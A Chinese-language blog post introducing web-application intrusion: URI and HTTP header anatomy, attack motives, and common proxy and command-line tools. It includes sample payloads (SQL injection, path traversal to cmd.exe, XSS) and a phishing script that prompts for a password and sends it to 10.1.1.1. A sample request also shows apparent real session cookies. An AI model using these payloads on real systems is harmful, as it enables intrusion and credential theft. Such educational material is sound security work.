zoukankan      html  css  js  c++  java
  • web安全-入侵基础

    注:需先了解HTTP请求头的含义. 在:HTTP 协议详解 中

    WEB应用:通过超文本传输协议HTTP访问的应用.

    一、Web应用入侵

    3种入侵方法:

      a.通过图形化Web界面直接操纵应用.

      b.篡改统一资源标识符(URI).

      c.篡改没有包含在URI中的HTTP元素.

    二、GUI Web入侵

      即在web浏览页面中直接操作,如在用户名框中直接输入 :'OR 1=1--

    三、URI 入侵

      RFC3986描述了URI(及其子集,包括更常用的术语统一资源定位符(URL))的结构和语法. 其中URI 如下:

        scheme://authority/path?query

      URI描述用于访问服务器(authority)上的一个资源(path)或者应用(query)的协议(scheme).

      注:标准HTTPS(无客户端验证)除了使客户端和服务器之间的通信更难以窃听和干扰以外,对web应用的整体安全性没有任何作用 (其会话数据受SSL或TLS协议保护.)

      服务器:一台或者多台运行HTTP软件的计算机,(通常由其DNS名如www.somesite.com指定的计算机),web 应用协议基本上都是HTTP协议.

      path: 描述了应用文件所在文件夹或者目录的层次结构.
      查询:  包含了需要传递给服务器上保存的应用的可执行文件的参数.如:*.asp,*.aspx,*.php等等

      "?" 右变得部分称为查询串.

      eg: http://server/file.html

        http://server/folder/application?parameter1=value1&parameter2=value2

        http://www.webhackingexposed.com/secret/search.php?input=foo&user=joel

      URI入侵的简单方式:

        https://server/folder/../../../../cmd.exe

        http://server/folder/application?parameter1=aaaaa...256 a's...]

        http://server/foldrer/application?parameter1=<script>'alert'</script>

    四、请求头入侵,方法,头和主体

      请求头一般是不可见的,需借助工具才可查看.

      大部分WEB应用只是用两种方法:

         GET和POST,二者都向服务器发送信息,但两者有一个重要的不同点,GET将所有的数据保留在URI(也就是地址栏)中,而POST的请求的主体(body)中放置数据.(在URI中不可见)

        POST请求并没有比GET请求方式更好的保护数据,但是GET在发送数据时更可能在各种地方暴露数据,如客户端缓存web服务器日志

      HTTP头中相关的安全事例:

         Authorization:是否使用某种类型的验证.

        Cache-control:是否将请求的一个副本缓存在中间代理服务器上.

        Referer:列出浏览器到达当前链接的源URI,有时用于早期的容易攻破的验证方案.

        cookies:常用于存储自定义应用验证/会话令牌.

      eg:

    GET /cgi-bin/test.cgi HTTP/1.1
    Host: analy.qq.com
    Connection: keep-alive
    Accept: image/webp,image/*,*/*;q=0.8
    User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36
    Referer: http://user.qzone.qq.com/99999999/infocenter?ptsig=i0vr2AgUQxZUVtfJM61NgokUZzsuaBgR942HM0swpfo_
    Accept-Encoding: gzip, deflate, sdch
    Accept-Language: zh-CN,zh;q=0.8
    Cookie: luin=o1165121284; lskey=00010000cf24e125aeca588; ptui_loginuin=1165121284; 

    五、资源,入侵就是为了获取资源

      web应用一般分为三层:

        表示层:一般是超文本表示语言(HTML)生成的静态页面,或者由动态脚本生成。

        逻辑层:负责前台业务和后台数据的交互.

        数据层:诱人的数据,如客户数据,信用卡号码等(这才是最关心的)

      文件类型:

        *.html : as static HTML file

        *.php : a HyperText Preprocessor, or PHP, script

        *.asp : a Microsoft Active Server Pages, or ASP script

        *.aspx : a Microsoft ASP.NET script

      动态脚本可以作为逻辑层,接受输入参数和值.

        http://server/script.php?input1=foo&fnput2=bar (&为两个变量的链接符)

        http://server/script.aspx?date=friday&time=1754

      以下可能是独立的可执行文件而不是脚本,

        http://server/app?input1=foo&input2=bar

    六、验证、会话和授权

      HTTP是无状态的,协议本身不维护任何会话状态。

      但是Web开发人员已经试图解决基本协议的这个问题,方法就是采用自己的验证、会话管理和授权功能,来实施某种形式的验证,然后将授权/会话信息隐藏在cookie中来实现.

      

    七、Web客户端与HTML

      根据对Web应用的定义,Web应用客户端是能够理解HTTP程序,规范化的Web应用客户端是Web浏览器,它的语言是HTTP(以及其他协议)并用超文本标签语言(HTML)以及其他标记语言表现

      Web浏览器看上去似乎很简单。由于HTML等语言的扩展性,看似静态的Web内容中可以嵌入大量的功能.例:

    <html>
    <SCRIPT Language="Javascript">
    var password = prompt('Your seesion has expired. Please enter your password to continue.',' ');
    location.href="https://10.1.1.1/pass.cgi?password="+password;
    </SCRIPT>
    </html>
    

      除脚本以外,ActiveX程序、远程映像“Web bugs”以及层叠样式单(css)文件都可以在客户端进行恶意的活动,使用的仅仅是简单的ASCII文本。

      不断增加的客户端技术包括富互联网应用(Rich Internet Application,RIA)、用户生成内容(User-Generated Contents,UGC)、AJAX和移动设备“应用商城”,一场风暴正在兴起.(WEB安全!!!)

    八、其他协议

      a.Web分布式创作和版权管理(Web-based Distributed Authoring and Versioning,WebDAV)

        WebDAV在RFC4918中定义,描述了用于远程Web服务器上的多种内容创作和管理机制.  

      b.基于XML的web服务中,简单对象访问协议(SOAP)是基于XML的用于web服务之间消息和RPC风格通信的协议.

      c.以及JavaScript和XML(AJAX)和简易信息聚合(Relly Simple Syndication,RSS),RSS是一种基于XML的轻量级机制,用于在网站和客户端之间动态地反馈变化的“新闻提要”(RSS订阅.)

      d.同源策略(Same-origin Policy),最初期是单个客户和单个网站之间的一种简单关系。现在更复杂.

    九、为什么攻击Web应用

      1.普遍存在:今天Web应用无处不在.

      2.简单的技术:大部分基于文本,操作应用输入简单,和攻击复杂的操作系统简直不在一个量级.

      3.匿名性:有很多免责区域(随着发展越来越少),并且大量的HTTP/S代理,使得请求难以追踪.

      4.绕开防火墙:大部分典型的防火墙策略允许入站的HTTP/S.

      5.定制代码:由于Web技术易于理解,门槛低,大部分Web应用由缺乏又经验的开发人员制作.

      6.不成熟的安全性:HTTP甚至没有实施分离单独的会话,许多开发人员在自己编写HTTP的基本验证和授权信息并且会出错.

      7.不断地变化:许多人不断地接触WEB应用,开发人员,系统管理员,内容管理者,普通用户,很少有人受过安全方面的培训,难保会执行相关的安全策略.

      8.钱.

    十、谁、何时、何处

      谁,离校的无聊少年,有组织的犯罪。

      何时何处?全天候,所有地方(甚至内部网络)

    十一、工具

      Web浏览器、浏览器扩展、HTTP代理和命令行工具.

      1.Web浏览器:篡改浏览器地址栏中的URI文本。

      2.浏览器扩展:IE扩展(TamperIE、IEWatch、IE Headers)。Firefox扩展(LiveHTTPHeaders、TamperData、Modify Headers、)

      3.HTTP代理:HTTP代理能够分析和篡改非浏览器的HTTP客户端,这是浏览器扩展所做不到的。(IEToys)

        Paros Proxy、OWASP WebScarab(包含了HTTP代理、爬虫、会话ID分析、自动化脚本接口、Fuzzer、用于所有流行Web个是【Base64、MD5等】的编码器/解码器工具,以及Web服务描述语言(WSDL)和SOAP解析程序等.)

        ProxMon: 主要目的是自动化完成Web应用渗透测试中乏味的部分,减少工作量.

        Fiddler : 自动配置IE使用它的本地代理,Localhost:8888。其他浏览器需手动配置.

        Burp Intruder : 基于JAVA的HTTP代理。

        Google Ratproxy :是为有经验的安全专家设计的,需要对Web应用安全问题有着充分的理解,能有效地使用它并且理解其输出.

      4.命令行工具:

        Ratproxy: 不建议通过Ratproxy使用Web爬虫或者相似工具,只限于手工测试.

        cURL : 免费的多平台命令行工具,用于操纵HTTP和HTTPS.

        netcat : “瑞士军刀”,将网络通信的原始输入输出转储到命令行.

      5.较老的工具:

        Achilles、#StakeWebProxy、Form Scallpel、WASAT(web验证分析工具)以及WebSleuth

        一般来说,越现代的工具越好.

    十二、参考与延伸阅读

    RFC索引搜索引擎 http://www.rfc-editor.org/rfcsearch.html
    HTTP1.0 RFC1945
    HTTP1.1 RFC2616
    HTTP“Origin”首部 https://wiki.mozilla.org/Security/Origin
    HTML http://en.wikipedia/wiki/HTML
    HTML5 http://en.wikipedia/wiki/HTML5
    统一资源标识符(URI)

    http://tools.ietf.org/html/rfc3986

    http://en.wikipedia.org/wiki/Uniform_Resource_Identifier

    HTTPS http://en.wikipedia.org/wiki/HTTPS
    SSL(安全套接字层) http://wp.netscape.com/eng/ssl3
    TLS(传输层安全) http://www.ietf.org/rfc/rfc2246.txt
    可扩展性标记语言(XML) http://www.w3.org/XML/
    WSDL http://www.w3.org/TR/wsdl
    UDDI http://www.uddi.org
    SOAP http://www.w3.org/TR/SOAP
    WebGL http://en.wikipedia.org/wiki/WebGL
    Google Native Client(Naci) http://en.wikipedia.org/wiki/Google_Native_Client

    OWASP Top10  http://www.owasp.org/documentation/topten.html

  • 相关阅读:
    python 执行sql得到字典格式数据
    python爬虫 url链接编码成gbk2312格式
    windows环境下elasticsearch安装教程(单节点)
    python SQLServer 存储图片
    爬虫的本质是和分布式爬虫的关系
    requests form data 请求 爬虫
    mysql 删除 binlog 日志文件
    查看mysql数据表的大小
    xshell 连接报错 Disconnected from remote host
    centos 7.3 安装 mysqldb 报错 EnvironmentError: mysql_config not found ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  • 原文地址:https://www.cnblogs.com/xccnblogs/p/4832619.html
Copyright © 2011-2022 走看看